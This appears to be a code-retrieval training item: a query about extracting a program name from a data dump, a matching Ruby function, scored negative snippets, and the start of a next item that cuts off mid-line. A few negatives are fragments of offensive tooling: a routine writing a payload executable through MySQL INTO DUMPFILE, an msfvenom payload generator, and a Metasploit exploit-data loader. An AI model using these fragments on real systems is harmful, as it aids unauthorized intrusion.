l.strip!\n\n next if (iscomment(l) || isblank(l))\n t = l.split\n\n if (t.size != 2)\n raise \"error: bits line #{ctr}\"\n end\n\n bits[t[0]] = t[1]\n }\n\n return bits\nend", "def read_prologue # :nodoc:\n big_endian = Format::Current.read_prologue(io)\n @format_version = Format::Current::VERSION\n @big_endian = big_endian\n @native_endian = ((big_endian != 0) ^ Pocolog.big_endian?)\n @payload_size = 0\n end", "def program_device(hex_file_path, run_flag)\n @errors = []\n return false unless @programmer_path\n\n # Generate the command string with E(rase) and P(rogram).\n # Also, the \"run\" option invokes utility's S(tart) command.\n command = \"#{@programmer_path} E P#{hex_file_path}\"\n command += \" S\" if run_flag\n run_and_examine command\n end", "def build_binary_data(data={})\n buffer = [68, 65, 84, 65, 0] # D A T A\n elements_to_send = []\n keys_to_send = data.keys\n\n Xplane::XPLANE_DATA_MAPPER.each do |element_id, included_elements|\n element = nil\n included_elements.each_with_index do |element_name, index|\n if keys_to_send.include? element_name\n element ||= new_element(element_id)\n element[index + 1] = data[element_name]\n end\n end\n elements_to_send.push element unless element.nil?\n end\n\n elements_to_send.each do |element|\n buffer += element\n end\n buffer.pack binary_format(elements_to_send.length)\n end", "def data\n unless @data\n open loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line\n stubline = file.readline.chomp\n @data = StubLine.new(stubline) if stubline.start_with?(PREFIX)\n rescue EOFError\n end\n end\n end\n\n @data ||= to_spec\n end", "def initialize(apk_file)\n data = nil\n Zip.warn_invalid_date = false\n\n # Get resources.arsc from the APK file\n Zip::File.foreach(apk_file) do |f|\n if f.name.match(/resources.arsc/)\n data = f.get_input_stream.read.force_encoding('BINARY')\n end\n end\n\n # Parse the Table Chunk\n ## Header\n header_type = read_short(data, HEADER_START)\n header_size = read_short(data, HEADER_START+2)\n header_chunk_size = read_word(data, HEADER_START+4)\n header_package_count = read_word(data, HEADER_START+8)\n puts \"Resource Package Count = #{header_package_count}\" if DEBUG\n\n # Parse the StringPool Chunk\n ## Header\n startoffset_pool = HEADER_START + header_size\n puts \"Parse Main StringPool Chunk\" if DEBUG\n @stringpool_main = parse_stringpool(data, startoffset_pool)\n puts \"#{@stringpool_main.values.length} strings found\" if DEBUG\n\n # Parse the Package Chunk\n ## Header\n startoffset_package = startoffset_pool + @stringpool_main.header.chunk_size\n @packages = Hash.new()\n i = 0\n while i < header_package_count\n package_element = parse_package(data, startoffset_package)\n puts \"Package #{package_element.package_header.id}\" if DEBUG\n startoffset_package = startoffset_package + package_element.package_header.header.chunk_size\n @packages[package_element.package_header.id] = package_element\n\n i += 1\n end\n\n end", "def mof_write_bin_file(file, exe_dest)\n data = \"0x\" + File.open(file, 'rb').read.unpack('H*').first\n begin\n @db_connection.query(\"SELECT #{data} INTO DUMPFILE '#{exe_dest}'\")\n print_good(\"Appears things were a success!\")\n return true\n rescue Mysql::Error => e\n print_error(\"Problem writing payload to file!\")\n puts \"\\t=> \".white + \"#{e}\".light_red\n if e =~ /MySQL server has gone away/\n print_error(\"This is likely due to payload which is too large in size.....\")\n print_error(\"Try compressing with UPX to shrink size down: upx 9 -qq #{file}\")\n puts \"\\t=> \".white + \"Then try again\".light_red + \".....\".white\n end\n return false\n end\n end", "def serialize(data)\n File.open(\"test/ipv6_test/ruby_test/bin.babel.rb\", \"w+b\") do |f|\n f.write(data)\n end\n end", "def extract_data\n cmd = \"unzip -d #{DATA_DIR} -o #{DATA_PATH}\"\n system cmd\n end", "def marshal_dump # :nodoc:\n [ @source, @identifier, @handler, @compiled, @locals, @virtual_path, @format, @variant ]\n end", "def serialize(data)\n File.open(\"test/basic_complex_test/ruby_test/bin.babel.rb\", \"w+b\") do |f|\n f.write(data)\n end\n end", "def dump_bpf\n addr = args[2]\n len = Ptrace.peekdata(pid, addr, 0) & 0xffff # len is unsigned short\n filter = Ptrace.peekdata(pid, addr + bits / 8, 0) & ((1 << bits) - 1)\n Array.new(len) { |i| Ptrace.peekdata(pid, filter + i * 8, 0) }.pack('Q*')\n end", "def debug_in_temp_file(program)\n example_file.write(program)\n example_file.close\n\n load(example_path)\n end", "def program() @program end", "def do_program(program_text)\n fail 'empty program specified' unless program_text && !program_text.empty?\n\n reset_variables\n\n @program = Program.new program_text\n @orig_data = @program.data\n @data = @orig_data.dup\n\n while line_do(@program.next_line) != :END\n end\n end", "def disassemble memory \n #we're going to be parsing 16-bit instructions. these masks will allow us to\n #get meaningful data out of out of those 16 bits\n #to use: (instruction & mask) >> x, where x is the index of the\n #least-significant bit of of the mask\n #e.g (0x00011011000001100 & opcode mask) >> 12 = 0001\n\n #opcode mask\n opcode_mask = 0xF000\n\n #destination/base and source register masks\n reg1_mask = 0xE00 #the register found at bits 11 through 9\n reg2_mask = 0x1C0 #the register found at bit 8 through 6\n reg3_mask = 0x7 #the register found at bits 2 through 0\n\n #condition code masks\n br_cc_mask = 0xE00 #the whole kitten kaboodle, >> 9\n br_n_mask = 0x800 # >> 11\n br_z_mask = 0x400 # >> 10\n br_p_mask = 0x200 # >> 9\n\n #imm5 vs source register flag mask\n #if 0, using 2 registers. if 1, using a register and a imm5\n operand2_flag_mask = 0x20 # >> 5\n\n #jsr vs jsrr flag mask\n #if 0, jsrr. if 1, jsr\n jsr_flag_mask = 0x800 # >> 7\n\n #offset masks\n #offset masks are always the least significant x bits\n offset9_mask = 0x1FF\n offset11_mask = 0x7FF\n offset6_mask = 0x3f\n\n #imm5 mask\n #always lsb\n imm5_mask = 0x1F\n\n #trap vector mask\n #always lsb\n trap_vector_mask = 0xFF\n\n \n #opcodes\n add_code = 0x1\n and_code = 0x5\n br_code = 0x0\n jmp_code = 0xC\n jsr_code = 0x4\n ld_code = 0x2\n ldi_code = 0xA\n ldr_code = 0x6\n lea_code = 0xE\n not_code = 0x9\n rti_code = 0x8\n st_code = 0x3\n sti_code = 0xB\n str_code = 0x7\n #trap_code = 0xF\n halt_code = 0xF025 # we only have 1 trap (0xF---), and thats halt\n\n\n #opcode strings\n add_string = \"ADD\"\n and_string = \"AND\"\n br_string = \"BR\"\n jmp_string = \"JMP\"\n jsr_string = \"JSR\"\n jsrr_string = \"JSRR\"\n ld_string = \"LD\"\n ldi_string = \"LDI\"\n ldr_string = \"LDR\"\n lea_string = \"LEA\"\n not_string = \"NOT\"\n nop_string = \"NOP\"\n ret_string = \"RET\"\n rti_string = \"RTI\"\n st_string = \"ST\"\n sti_string = \"STI\"\n str_string = \"STR\"\n trap_string = \"TRAP\"\n\n #other strings\n n_string = \"N\"\n z_string = \"Z\"\n p_string = \"P\"\n comma_string = \",\"\n halt_string = \"HALT\"\n space_string = \" \"\n r_string = \"R\" #as in register, R1, R2, ...\n error_string = \"ERROR\"\n hash_string = \"#\"\n \n #sign extension addends\n #we can encounter 2's complement numbers that are negative in x number of\n #bits, but not y number.\n #\n #for example: (binary) 0000 0101\n #in 3-bit 2's comp, this number is -3\n #in 8-bit 2's comp, this number is 5\n #\n #since ruby and lc3 have no (primitive) understanding of numbers with smaller \n #bit lengths than the system default (32 and 16 respectively), we need to sign\n #extend these numbers so that the system also conveys bit these lengths.\n #\n #for negative 2's complement numbers, if we assume that the msb == the desired\n #bit length (ie, the number has been masked so that it contains no other data\n #beyond the desired bit length) then we can simply add an appropriate addend\n #constructed of all 1's in all places beyond the msb.\n #\n #extending our previous example: \n #-3 = 1111 1101 = 1111 1000 + 0000 0101\n #\n #the following are these addends for various desired bit lengths\n #\n #NOTE: this is a system-dependent implementation. on this dev machine, the\n #integers we get by default are 32 bits. on lc3, its 16, and it could be\n #anything else for other machines. proceed with caution.\n# bit5_extender = 0xFFFFFFE0\n# bit6_extender = 0xFFFFFFC0\n# bit9_extender = 0xFFFFFE00\n# bit11_extender = 0xFFFFF800\n\n \n #a more asm way of saying index counter\n instruction_ptr = 0x0\n\n while memory[instruction_ptr] - 0xFFFF != 0\n this_instruction = memory[instruction_ptr]\n \n this_opcode = (this_instruction & opcode_mask) >> 12\n\n #we'll force the opcode code to turn this on\n #if we get down to the bottom, and this hasn't been set, we've encountered\n #one of the no-no opcodes for this homework, such as RTI, (reserved \n #opcode),or traps other thanHALT. in that case, write ERROR\n valid_instruction = 0\n \n #ADD\n #example: ADD R0, R0, R5\n #example: ADD R0, R3, #17\n if this_opcode - add_code == 0\n print add_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n \n #immediate more or source register 2 mode?\n flag = (this_instruction & operand2_flag_mask) >> 5\n if flag == 0\n print r_string\n reg = (this_instruction & reg3_mask)\n print reg\n end\n if flag == 1\n imm5 = (this_instruction & imm5_mask)\n print hash_string\n print imm5\n end\n\n valid_instruction = 1\n end\n \n #AND\n #example: AND R0, R0, R5\n #example: AND R0, R3, #17\n if this_opcode - and_code == 0\n print and_string\n print space_string\n \n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n \n flag = (this_instruction & operand2_flag_mask) >> 5\n if flag == 0\n print r_string\n reg = (this_instruction & reg3_mask)\n print reg\n end\n if flag == 1\n imm5 = (this_instruction & imm5_mask)\n print hash_string\n print imm5\n end\n\n valid_instruction = 1\n end\n \n #BR and NOP\n #example: BR NZP #4\n #example: NOP\n if this_opcode - br_code == 0\n cc = (this_instruction & br_cc_mask) >> 9\n if cc == 0\n print nop_string\n else\n print br_string\n \n #n set?\n n = (this_instruction & br_n_mask) >> 11\n if n > 0\n print n_string\n end\n \n #z set?\n z = (this_instruction & br_z_mask) >> 10\n if z > 0\n print z_string\n end\n \n #p set?\n p = (this_instruction & br_p_mask) >> 9\n if p > 0\n print p_string\n end\n \n print space_string\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n end\n\n valid_instruction = 1\n end\n\n #JMP and RET\n #example: JMP R5\n #example: RET\n if this_opcode - jmp_code == 0\n #ret and jmp share the same opcode\n reg = (this_instruction & reg2_mask) >> 6\n if reg - 7 == 0\n print ret_string\n else\n print jmp_string\n print space_string\n\n print r_string\n print reg\n end\n \n valid_instruction = 1\n end\n\n #JSR and JSRR\n #example: JSR #123\n #example: JSRR R3\n if this_opcode - jsr_code == 0\n #jsr and jsrr share the same opcode\n jsr_flag = (this_instruction & jsr_flag_mask) >> 11\n if jsr_flag > 0\n offset = (this_instruction & offset11_mask)\n print jsr_string\n print space_string\n\n print hash_string\n print offset\n else\n print jsrr_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n end\n\n valid_instruction = 1\n end\n\n #LD\n #example: LD R3, #5\n if this_opcode - ld_code == 0\n print ld_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LDI\n #example: LDI R2, #22\n if this_opcode - ldi_code == 0\n print ldi_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LDR\n #example: LDR R0, R4, #5\n if this_opcode - ldr_code == 0\n print ldr_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset6_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LEA\n #example: LEA R3, #2\n if this_opcode - lea_code == 0\n print lea_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #NOT\n #example: NOT R0, R0\n if this_opcode - not_code == 0\n print not_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n \n valid_instruction = 1\n end\n\n #ST\n #example: ST R1, #46\n if this_opcode - st_code == 0\n print st_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n end\n\n #STI\n #example: STI R0, #128\n if this_opcode - sti_code == 0\n print sti_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n end\n\n #STR\n #example STR R0, R1, #3\n if this_opcode - str_code == 0\n print str_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset6_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n\n end\n\n #HALT\n #example: HALT\n if this_instruction - halt_code == 0\n print halt_string\n\n valid_instruction = 1\n end\n\n #ERROR (for all not accepted instructions)\n #example: ERROR\n if valid_instruction == 0\n print error_string\n end\n\n print \"\\n\"\n\n instruction_ptr += 1\n end\nend", "def structure_dump() end", "def parse filename\n puts \"parsing #{filename}\"\n asm_lines=IO.readlines(filename)\n\n @max_digits=asm_lines.size.to_s.size\n address=-1\n prog={} #returned\n\n asm_lines.each_with_index do |line,idx|\n line.chomp!\n @idx=idx+1\n\n next if line=~/\\A\\s*;/ # skip comment lines\n line.slice!(/;(.*)/) # suppress comments at end of line!\n next if line.empty? # suppress empty lines\n\n address+=1\n\n if mdata=has_label(line)\n line.slice!(/\\A\\s*(\\w+)\\s*:/)\n label=parse_label(mdata)\n @labels[label]=address\n end\n\n if !line.empty?\n instr=parse_instr(line)\n prog[address]=instr\n #puts \"#{address.to_s.ljust(@max_digits)}: #{line}\"\n else\n address-=1\n end\n\n end\n puts \"number of instructions parsed : #{prog.size}\"\n puts \"number of labels found : #{@labels.size}\"\n\n return prog\n end", "def emit_assembly(fname = \"output\")\n out_arr = Array.new\n pack_str = String.new\n \n @instr.each{|i|\n if i.instr_type == InstrBase::OPCODE\n out_arr.push(i.opcode.to_i(16))\n pack_str = pack_str + \"C\"\n next if i.args_len == 0\n \n if i.args_len == 1\n out_arr.push(i.args) \n pack_str = pack_str + \"C\"\n elsif i.args_len == 2\n #gotta remember to put it in correct order, i guess\n #ex: $31F6 -> F6,31, low-order byte is in lower memory, high-order byte in high memory\n out_arr.push(i.args) if \n pack_str = pack_str +\"S\"\n else\n raise \"Invalid opcode args found #{i}\"\n end\n\n elsif i.instr_type == InstrBase::MACRO\n raise \"Unknown macro found #{i.to_s}\" if i.sym_name != \"dcb\" \n #currently we only recognize dcb macro\n \n #simply emit a series of bytes as specified in @args of dcb macro\n i.args.each{ |i|\n out_arr.push(i)\n pack_str = pack_str + \"C\"\n }\n end # if i.instr_type == InstrBase::OPCODE\n }\n \n p \"#{pack_str}\"\n p \"#{out_arr}\"\n \n pack_str = out_arr.pack(pack_str)\n \n file = File.new(fname+\".assl\", \"wb\")\n file.puts(pack_str)\n file.close \n \n out_arr\n end", "def disasm(path, opts)\n if `which objdump`.empty?\n raise \"objdump not found!\"\n end\n\n terms = []\n if opts.string\n terms = `strings '#{path}'`.gsub(/[[:punct:]]/, '').lines.to_a\n else\n terms = `objdump -DRTgrstx '#{path}'`.lines.inject([]) do |arr, line|\n if (opts.mnemonic)\n if line =~ /^\\s*[[:xdigit:]]+:[[:xdigit:]\\s]+\\s+([[:alnum:]]+)\\s*/\n arr << $1\n end\n else\n arr << $1 if line =~ /<([_[:alnum:]]+)(@[[:alnum:]]+)?>\\s*$/\n end\n arr\n end\n end\n\n puts terms.inspect if $DEBUG\n terms.join(\" \")\nend", "def program\n ::HubEdos::Common::Reference::Descriptor.new(@data['program']) if @data['program']\n end", "def bin\n\t\t# Note that the CHR-ROM binary format is arranged as two bit planes of 8 bytes each,\n\t\t# where the first plane is the LSBs of each pixel, and the 2nd plane is the MSBs.\n\t\t# In other words, the data stream is as follows:\n\t\t# * 8 bytes; each byte, with each bit (in order of MSB to LSB) representing the LSB\n\t\t# of each pixel, from left-to-right, starting with the 1st byte for the top row,\n\t\t# and the 8th byte for the bottom row.\n\t\t# * 8 bytes again, this time with each bit representing the MSB (2nd bit) of each pixel.\n\t\t#NOTE: This is possibly NOT the most efficient way to do this:\n\t\tlsb_plane = @pixels.map{ |b| b & 1} # Get the LSBs of each pixel.\n\t\tmsb_plane = @pixels.map{ |b| (b>>1) & 1 } # Get the MSBs.\n\t\t# Convert the planes into one long joined binary string:\n\t\t[(lsb_plane + msb_plane).join].pack('B*')\n\tend", "def marshal_dump\n data\n end", "def marshal_dump\n [\n MARSHAL_VERSION,\n @relative_name,\n @parser,\n parse(@comment),\n ]\n end", "def run_program(intcode_program, noun, verb)\n program = intcode_program.clone.map(&:clone)\n program[1] = noun\n program[2] = verb \n program.each_slice(4) do |opcode, a, b, res|\n # puts \"#{opcode}, #{a}, #{b}, #{res}\"\n if opcode == 1\n program[res] = program[a] + program[b]\n elsif opcode == 2\n program[res] = program[a] * program[b]\n elsif opcode == 99\n break\n end\n end\n output = program[0]\n puts \"#{noun}, #{verb}, #{output}\"\n output\nend", "def packet dump\n Capp.offline(dump).loop.first\n end", "def executable_code\n metadata_hash['executable']\n end", "def bin_file(name)\n File.join bin_dir, name\n end", "def load file='GOL.sav'\n self.state=File.open(file,'r') do |f|\n Marshal.load(f)\n end\n end", "def unpack\n trace :debug, \"Build: apktool extract: #{@tmpdir}/apk\"\n\n apktool = path('apktool.jar')\n\n Dir[path('core.*.apk')].each do |d|\n version = d.scan(/core.android.(.*).apk/).flatten.first\n\n if version == \"melt\" then\n trace :debug, \"-jar #{apktool} d -f #{d} -o #{@tmpdir}/apk.#{version}\"\n #CrossPlatform.exec \"java\", \"-jar #{apktool} if #{@tmpdir}/jelly.apk jelly\"\n CrossPlatform.exec \"java\", \"-jar #{apktool} d -f #{d} -o #{@tmpdir}/apk.#{version}\"\n else\n trace :debug, \"-jar #{apktool} d -f -s -r #{d} -o #{@tmpdir}/apk.#{version}\"\n CrossPlatform.exec \"java\", \"-jar #{apktool} d -f -s -r #{d} -o #{@tmpdir}/apk.#{version}\"\n end\n\n [\"rb.data\", \"cb.data\"].each do |asset|\n CrossPlatform.exec \"pwd\",\"\"\n exists = File.exist?(path(\"apk.#{version}/assets/#{asset}\"))\n trace :debug, \"check #{@tmpdir}/apk.#{version}/assets/#{asset} #{exists}\" \n\n raise \"unpack failed. needed asset #{asset} not found\" unless File.exist?(path(\"apk.#{version}/assets/#{asset}\"))\n end\n\n end\nend", "def output_binary(binary)\n message = \"\\r\\n\"\n message << \"Identifier: #{binary[:uniqueid]}\\r\\n\"\n message << \"Length: #{binary[:size]}\\r\\n\"\n message << \"\\r\\n\"\n message << \"#{binary[:data]}\\r\\n\"\n end", "def exe(name, hash)\n raise \"not a hash\" unless hash.is_a?(Hash)\n check_hash hash,[:sources,:includes,:dependencies,:libpath,:output_dir]\n bblock = Executable.new(name)\n bblock.set_sources(hash[:sources]) if hash.has_key?(:sources)\n bblock.set_includes(hash[:includes]) if hash.has_key?(:includes)\n bblock.set_dependencies(hash[:dependencies]) if hash.has_key?(:dependencies)\n bblock.set_lib_searchpaths(calc_lib_searchpath(hash))\n bblock.set_output_dir(hash[:output_dir]) if hash.has_key?(:output_dir)\n all_blocks << bblock\n end", "def generate_binary(msfvenom_path, payload, options)\n dirname = File.dirname(\"tmp\")\n unless File.directory?(\"tmp\")\n FileUtils.mkdir_p(\"tmp\")\n print_status(\"tmp directory created.\")\n end\n\n cmd = 'ruby '+msfvenom_path+' -p '+payload+' -f c '+options+' > tmp/bin'+self.uuid+'.c'\n\n print_status(\"Delegating to msfvenom to generate payload binary: \")\n print_status(\" \"+cmd)\n\n return %x[ #{cmd} ]\n end", "def dump()\n puts \"fan_home = #@fan_home\"\n puts \"fan_bin = #@fan_bin\"\n puts \"fan_lib = #@fan_lib\"\n puts \"fan_lib_fan = #@fan_lib_fan\"\n puts \"fan_lib_java = #@fan_lib_java\"\n puts \"fan_lib_net = #@fan_lib_net\"\n puts \"fan_src = #@fan_src\"\n puts \"src_jfan = #@src_jfan\"\n puts \"src_jsfan = #@src_jsfan\"\n puts \"src_nfan = #@src_nfan\"\n puts \"java_home = #@java_home\"\n puts \"javac = #@javac\"\n end", "def monit_binary\n options['monit_binary']\n end", "def read_prologue # :nodoc:\n\t io = rio\n\t io.seek(0)\n\t magic\t = io.read(MAGIC.size)\n\t if magic != MAGIC\n if !magic\n raise MissingPrologue, \"#{io.path} is empty\"\n else\n raise MissingPrologue, \"#{io.path} is not a pocolog log file\"\n end\n\t end\n\n\t @format_version, big_endian = io.read(9).unpack('xVV')\n\t @endian_swap = ((big_endian != 0) ^ Pocolog.big_endian?)\n\t if format_version < FORMAT_VERSION\n\t\traise ObsoleteVersion, \"old format #{format_version}, current format is #{FORMAT_VERSION}. Convert it using the --to-new-format of pocolog\"\n\t elsif format_version > FORMAT_VERSION\n\t\traise \"this file is in v#{format_version} which is newer that the one we know #{FORMAT_VERSION}. Update pocolog\"\n\t end\n\t @next_block_pos = rio.tell\n\tend", "def memmap\n pid = $$\n f= File.open \"/proc/#{pid}/cmdline\"\n cmd= f.read.split \"\\0\" \n f= File.open \"/proc/#{pid}/maps\"\n\n stack = heap = nil\n data = Array.new\n f.each_line do |line|\n data << line.split(' ').first.split('-') if line.match cmd.first\n stack = line.split(' ').first.split('-') if line.match \"stack\"\n heap = line.split(' ').first.split('-') if line.match \"heap\"\n end\n\n unless data.empty?\n @data= data.map do |a|\n a= a.map do |e|\n e.to_i(16)\n end\n end\n end\n\n unless stack.nil?\n @stack= stack.map do |e|\n e.to_i(16)\n end\n end\n\n unless heap.nil?\n @heap= heap.map do |e|\n e.to_i(16)\n end\n end\n\n end", "def bootcode\n\t\t\t# /vl/bc.jsp?v=0.0.0.10&m=00:19:db:9e:92:91&l=00:00:00:00:00:00&p=00:00:00:00:00:00&h=4\n\t\t\t#\n\t\t\t# Firmware version, e.g.0.0.0.10\n\t\t\t@version = params[:v]\n\n\t\t\t# MAC address\n\t\t\t@serial = params[:m]\n\n\t\t\t# Hardware model 4 == V2 model\n\t\t\t@hardware = params[:h]\n\n\n\t\t\tsend_file Rails.public_path+'/'+'bc-nominal-segabor.bin',\n\t\t\t\t:type => 'application/octet-stream'\n\t\tend", "def marshal_load array # :nodoc:\n initialize array[1]\n\n @parser = array[2]\n @comment = array[3]\n\n @file_stat = nil\n end", "def kubernetes_server_compressed_file_binaries\n (kube_commands 'kubernetes/server/bin').join(' ')\n end", "def make_geoid_info_from_marshal_list(list)\n if !File.exists?(list) then\n fr_error \"No such list or marshal file #{list}\"\n return nil\n end\n\n begin\n marshaled_info = Marshal.restore(File.open(list))\n rescue TypeError \n # Assume it's a marshal list & proceed\n else # It worked -- it's a marshal file!\n return [marshaled_info]\n end\n\n # If we got here, it's a list file\n marshal_list = File.read(list).split($/).map { |f|\n if f =~ /^\\// then\n f\n else\n File.join(File.dirname(list), f)\n end\n }\n marshal_list.each { |f|\n if !File.exists?(f) then\n fr_error \"No such marshalled file: #{f}\"\n return nil\n end\n }\n all_info = []\n marshal_list.each{ |f|\n all_info << Marshal.restore(File.open(f))\n }\n # return marshal infos\n all_info\n end", "def binary(output)\n if instructions.size == 0\n puts \"No instruction stream. Cannot create binary.\"\n exit 1\n end\n\n instructions.each do |instr|\n instr_bytes = instr.words\n encstr = pack_string(instr_bytes)\n output << instr_bytes.pack(encstr)\n end\n end", "def exploit_data(data_directory, file)\n file_path = ::File.join(::Msf::Config.data_directory, \"exploits\", data_directory, file)\n ::File.binread(file_path)\n end", "def stego_extract(file)\n\tstego_file = read_file(file)\n\n\toffset = stego_file.data_offset\n\tdata = stego_file.data\n\n\t#the 31/32 is the offset for the size I encode.\n\tmsg_size = data[offset..offset+31].map{|e| e % 2}.join.to_i(2) - 1\n\t\n\tbinary = data[offset+32..offset+msg_size].map{|e| e % 2}\n\t\n\tsecret = \"\"\n\tbinary.each_slice(8){\n\t\t|a|\n\t\tsecret << a.join.to_i(2).chr\n\t}\n\t\n\tsecret\nend", "def marshal_dump # :nodoc:\n [ @identifier, @handler, @compiled, @original_encoding, @locals, @virtual_path, @updated_at, @format, @variants ]\n end", "def read_magic(data)\n magic = ''\n (0 .. 2).each do |byte|\n magic << data.get_varint(byte * 8, 8).chr\n end\n\n if magic.bytesize != 3 || magic[0,2] != MAGIC\n fail InputStreamError, \"Invalid compress(1) header \" +\n \"(expected #{MAGIC.unpack('h*')}, got #{magic[0,2].unpack('h*')})\"\n end\n\n bits = magic.getbyte(2)\n @max_code_size = bits & MASK_BITS\n @block_mode = ( ( bits & MASK_BLOCK ) >> 7 ) == 1\n end", "def dump(file_path = nil)\n file_path ||= File.join(@config.data_path, \"#{Time.now.to_i.to_s}.bin\")\n File.open(file_path, 'wb') do |io|\n io << MessagePack.pack(to_hash)\n end\n file_path\n end", "def dump_file_data(io)\n end", "def binread(*args, **kwd); end" ]
[ "0.6155024", "0.61215544", "0.59901685", "0.5961997", "0.5759024", "0.57084185", "0.56159574", "0.5578849", "0.5517678", "0.54004574", "0.5392215", "0.5186379", "0.5178744", "0.5102294", "0.5095169", "0.50811595", "0.50398755", "0.49912056", "0.49874336", "0.49376357", "0.49010614", "0.48694524", "0.4852373", "0.4841228", "0.4837415", "0.48370945", "0.48347232", "0.48242554", "0.48142147", "0.48058325", "0.47997847", "0.47913277", "0.47811767", "0.4754972", "0.47499654", "0.4749739", "0.47461116", "0.47428563", "0.47376043", "0.47368845", "0.47319627", "0.47303814", "0.47273183", "0.47219017", "0.47202376", "0.47179285", "0.47176874", "0.4714513", "0.4709489", "0.46973208", "0.46960047", "0.46848184", "0.46801886", "0.46397638", "0.4636687", "0.46253538", "0.46194324", "0.46166652", "0.46139634", "0.46118885", "0.4601416", "0.46012542", "0.45994657", "0.45973048", "0.45783323", "0.4577365", "0.45755255", "0.45662504", "0.45642918", "0.45640197", "0.45503655", "0.45500585", "0.45463318", "0.45440397", "0.4542587", "0.45391765", "0.4537281", "0.45341176", "0.4527908", "0.45269457", "0.45264107", "0.45253372", "0.45208147", "0.45183712", "0.4505357", "0.4504808", "0.4504429", "0.44946718", "0.44935608", "0.4488224", "0.44861522", "0.44760394", "0.4473703", "0.44689202", "0.44663548", "0.4463922", "0.44622716", "0.44548324", "0.44515857", "0.44512156" ]
0.6198225
0
Extract program name from program data dump
def program_name(prog) name = prog[4...16] while name.chomp!("\0") end name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def program_name\n File.basename($0)\n end", "def program_name\n @program_name || File.basename($0, '.*')\n end", "def app_name\n @data['CFBundleExecutable'].to_s\n end", "def proc_name\n data = read_cpuinfo.match(/model name\\s*:\\s*(.+)/)[1]\n\n return data.strip\n end", "def program_name\n Quickl.program_name\n end", "def program_name(name=nil)\n if name\n @@program_name = name\n end\n @@program_name\n end", "def progname\n @progname\n end", "def get_program_def(name:)\n PROGRAMS[name]\n end", "def progname; \"Disorganizer\"; end", "def progname=(value_)\n @progname = value_.to_s.gsub(/\\s+/, '')\n end", "def progname; \"Dis-organizer\"; end", "def progname; \"Dis-organizer\"; end", "def progname; \"Dis-organizer\"; end", "def appname\n fetch(:appname) || script_name\n end", "def name\n if app_name = @args[:props][\"application_name\"].to_s.strip and !app_name.empty?\n return app_name\n else\n raise \"Could not figure out the input-name.\"\n end\n end", "def program_name(override=nil)\n if override\n @@program_name = override\n end\n @@program_name\n end", "def executable_code\n metadata_hash['executable']\n end", "def get_app_name(app_name)\n app_file = $pkg_dir+\"/\"+app_name.downcase.gsub(/ |-/,'_')+\".rb\"\n if File.exist?(app_file)\n app_name = eval(\"get_#{app_name.downcase.gsub(/ |-/,'_')}_app_name()\")\n else\n app_list = Dir.entries($pkg_dir)\n tmp_name = app_list.grep(/^#{app_name.downcase.gsub(/ |-/,'_')}/)[0]\n if tmp_name\n tmp_name = tmp_name.gsub(/\\.rb/,\"\")\n else\n puts\n end\n if tmp_name =~ /[A-z]/\n if $verbose == 1\n puts \"Application profile \"+app_name+\" not found\"\n puts \"Found profile \"+tmp_name\n end\n app_name = eval(\"get_#{tmp_name.downcase.gsub(/ |-/,'_')}_app_name()\")\n else\n puts \"Application \"+app_name+\" not found\"\n puts\n puts \"Available Applications:\"\n puts\n print_avail_pkgs()\n puts\n exit\n end\n end\n return app_name\nend", "def parse_program(prog)\n prog_bytes = to_bytes(prog)\n data = {}\n raise \"Invalid program\" unless prog[0, 4] == 'PROG'\n name = prog[4...16]\n data[:name] = program_name(prog)\n\n HR_PARAMS.each do |(key, ms_offset, ls_offset, ls_pos, units)|\n # single byte value\n value = prog_bytes[ms_offset]\n data[key] = value\n # high resolution value\n value_hr = (value << 2) | ((prog_bytes[ls_offset] >> ls_pos) & 0x03)\n data[:\"#{key}_hr\"] = value_hr\n if units\n # converted value:\n data[:\"#{key}_#{units}\"] = CONVERTERS[units][value_hr]\n end\n end\n\n CONV_PARAMS.each do |(key, offset, bit_pos, bit_len, units)|\n value = bits(prog_bytes[offset], bit_pos, bit_len)\n data[key] = CONVERTERS[units][value]\n if value != data[key]\n data[:\"#{key}_value\"] = value\n end\n end\n\n data[:seq_notes] = (96..426).step(22).map{|offset| note_name 